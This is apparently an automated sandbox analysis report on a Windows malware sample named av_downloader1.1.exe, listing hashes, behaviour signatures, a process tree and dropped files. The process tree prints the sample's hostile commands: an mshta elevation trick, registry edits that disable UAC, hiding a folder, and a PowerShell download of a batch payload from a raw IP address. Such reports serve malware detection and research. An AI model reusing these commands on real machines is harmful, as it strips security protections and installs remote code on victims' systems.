Analysis

  • max time kernel
    17s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-01-2025 20:01

General

  • Target

    av_downloader1.1.exe

  • Size

    88KB

  • MD5

    759f5a6e3daa4972d43bd4a5edbdeb11

  • SHA1

    36f2ac66b894e4a695f983f3214aace56ffbe2ba

  • SHA256

    2031202030b1581acb6694f7ba528431a5015c7c37a4c6bcc0e1afdbca6f120d

  • SHA512

    f97c793e1489e09dc6867bc9fb8a8e6073e08e1019b7a6fd57efdb31099047fcef9bc7bc3a8194742d7998f075c50e5d71670711bf077da1ac801aab7d19b385

  • SSDEEP

    1536:D7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf+xB4O5:fq6+ouCpk2mpcWJ0r+QNTBf+LV

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe
    "C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B44C.tmp\B44D.tmp\B44E.bat C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\system32\mshta.exe
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
        3⤵
        • Checks computer location settings
        • Access Token Manipulation: Create Process with Token
        • Suspicious use of WriteProcessMemory
        PID:5020
        • C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE
          "C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE" goto :target
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5004
          • C:\Windows\system32\cmd.exe
            "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B769.tmp\B76A.tmp\B76B.bat C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE goto :target"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1724
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:2460
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:3424
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:5032
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1416
              • C:\Windows\system32\reg.exe
                reg query HKEY_CLASSES_ROOT\http\shell\open\command
                7⤵
                  PID:2580
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
                6⤵
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:3316
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd9e3746f8,0x7ffd9e374708,0x7ffd9e374718
                  7⤵
                    PID:60
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
                    7⤵
                      PID:3460
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
                      7⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2736
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2704 /prefetch:8
                      7⤵
                        PID:4320
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                        7⤵
                          PID:976
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
                          7⤵
                            PID:396
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4768 /prefetch:1
                            7⤵
                              PID:2068
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5440 /prefetch:8
                              7⤵
                                PID:3252
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,11863641409582816330,4315993627341395053,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5440 /prefetch:8
                                7⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1280
                            • C:\Windows\system32\attrib.exe
                              attrib +s +h d:\net
                              6⤵
                              • Sets file to hidden
                              • Views/modifies file attributes
                              PID:1772
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
                              6⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1672
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:3088
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:4172

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                        Filesize

                        152B

                        MD5

                        c2d9eeb3fdd75834f0ac3f9767de8d6f

                        SHA1

                        4d16a7e82190f8490a00008bd53d85fb92e379b0

                        SHA256

                        1e5efb5f1d78a4cc269cb116307e9d767fc5ad8a18e6cf95c81c61d7b1da5c66

                        SHA512

                        d92f995f9e096ecc0a7b8b4aca336aeef0e7b919fe7fe008169f0b87da84d018971ba5728141557d42a0fc562a25191bd85e0d7354c401b09e8b62cdc44b6dcd

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                        Filesize

                        152B

                        MD5

                        e55832d7cd7e868a2c087c4c73678018

                        SHA1

                        ed7a2f6d6437e907218ffba9128802eaf414a0eb

                        SHA256

                        a4d7777b980ec53de3a70aca8fb25b77e9b53187e7d2f0fa1a729ee9a35da574

                        SHA512

                        897fdebf1a9269a1bf1e3a791f6ee9ab7c24c9d75eeff65ac9599764e1c8585784e1837ba5321d90af0b004af121b2206081a6fb1b1ad571a0051ee33d3f5c5f

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                        Filesize

                        864B

                        MD5

                        47d8e45996431d6f164740278fac6f18

                        SHA1

                        8fb88c378784349575eb967adecf75d336371f55

                        SHA256

                        94bf176ca13c06395891b78580ea455502bd53b102e931200b96590bcbc2058c

                        SHA512

                        8ea709e2b4c7b1d36ae7386a9cc5ae50e0ec6302d1ba9ad346d531b54840c9de184b552577ca01ec0a65b77cb2ba438f6e7b1d4df97edd1805f8495c58ffdaff

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                        Filesize

                        2KB

                        MD5

                        ccba214dcc93a79571739038c66b9475

                        SHA1

                        eb74a0adf6ffd0222246588bf4694d554fa59998

                        SHA256

                        39a4ab1d4e891cee0b88477ecee650874aea04eb94beadecf45fdca634e7b216

                        SHA512

                        a78c3aa9c603cafd09b3d58817a451fa50dca1264da920ebb54ef432a845c607a947cd35c1db4fb1676ffa909aa321686abcf65aa2081243a9ec8205d3e594b2

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                        Filesize

                        5KB

                        MD5

                        c89b6244117923245ca0e7461ff63359

                        SHA1

                        e8e438a2a9be706f400e3f519b58f4664276d34c

                        SHA256

                        b31be9b7f6fe708ea32f9830eaa7da79bdefc48767a2b67b67d17cc4eba3b48d

                        SHA512

                        ef9cd1b978bb2fca0f5f65cb20472439a670970cbfd4924b6b072e005c43be7beb727646679d1d8c01ad19e68942cdd14104577882cd6cc65822a784e30e7b95

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                        Filesize

                        7KB

                        MD5

                        726a3dd4ce835cf0a8e4375493e6f28b

                        SHA1

                        f389eaf5a28e0d11c0d28938d72f08f97d9dc96f

                        SHA256

                        876b12fd07867fe075dc910bf3d6edc125603fc42d112855e15e8e7f85af76e9

                        SHA512

                        4cbd1c5ac62adc69428330b3f94d17b6745d855f0c88f3d9d37c5bf7eb553dd03f2392b83ce720faa1cf98c4ab491f449c5f0ae64a758a29a48f9edad77974fe

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

                        Filesize

                        96B

                        MD5

                        1bdee6461e47615561d1d7f3777ce9df

                        SHA1

                        7b82a2c273fa18513c3fbd6fdba2d626202beecd

                        SHA256

                        8b10439215d6e2f6180ac3860fd3783a41df350e73226b022341cc174f012898

                        SHA512

                        285c0e264ad23a8f77e88484821a30b3e83a7c43defad868a0925030f2431b66be85bec146834da94b78a83a552d9612b0d0defd1901e2eaa4e0606935254abc

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe57daef.TMP

                        Filesize

                        48B

                        MD5

                        720c8f190d851ed71b514a12aaa0285a

                        SHA1

                        e881073b273e49eb9af5ac860acd01c46cc1c9b0

                        SHA256

                        d9e5e4b58b7f27f1f391b926b559852006b316574d9ead38d11f190b53d3a263

                        SHA512

                        54495d8b04f47e6da4af236dcdda91d3636115825d878e83e69e107afdb16520dc4821c22ab10eccd9b91e1df65cb5c2e385048c6929f6cc836b0a09eaa0303c

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                        Filesize

                        16B

                        MD5

                        6752a1d65b201c13b62ea44016eb221f

                        SHA1

                        58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                        SHA256

                        0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                        SHA512

                        9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                        Filesize

                        10KB

                        MD5

                        72130eeb785060fbe1a6c6f278c5122e

                        SHA1

                        39e405c0a5ea9dc7885c298ada74466118ef2986

                        SHA256

                        5b753a94ba77c388382344215fd00819f6d753383b06a698b9227d53244be63e

                        SHA512

                        6f73b361fbdcc416b0f383b458656d653cf4d955adc5f3fcfe1f237068a75f2fb8c1a4084aba6ddb9db3f7c75254de3b7692d98c9a23de792cb52f2dba210357

                      • C:\Users\Admin\AppData\Local\Temp\B44C.tmp\B44D.tmp\B44E.bat

                        Filesize

                        1KB

                        MD5

                        9856d2fe29a28c54c5943c2150f7bae1

                        SHA1

                        f7532a2a79b1b6aca1c151b34fe8b1ce2c798e97

                        SHA256

                        0b6140b4764863f3263b0be87f35c9afe9a849823eccf37259bed08baa93e999

                        SHA512

                        002db693f5664f80e58bb3590f32068f611bc97d3f71324abb659dd1fd0bffe3df36379ae92ffbeabde10bd6245b3c069b56ba4d8b4608c634a2525e7a76735f

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g23gauyy.hhb.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • memory/1672-18-0x00000132F20A0000-0x00000132F20C2000-memory.dmp

                        Filesize

                        136KB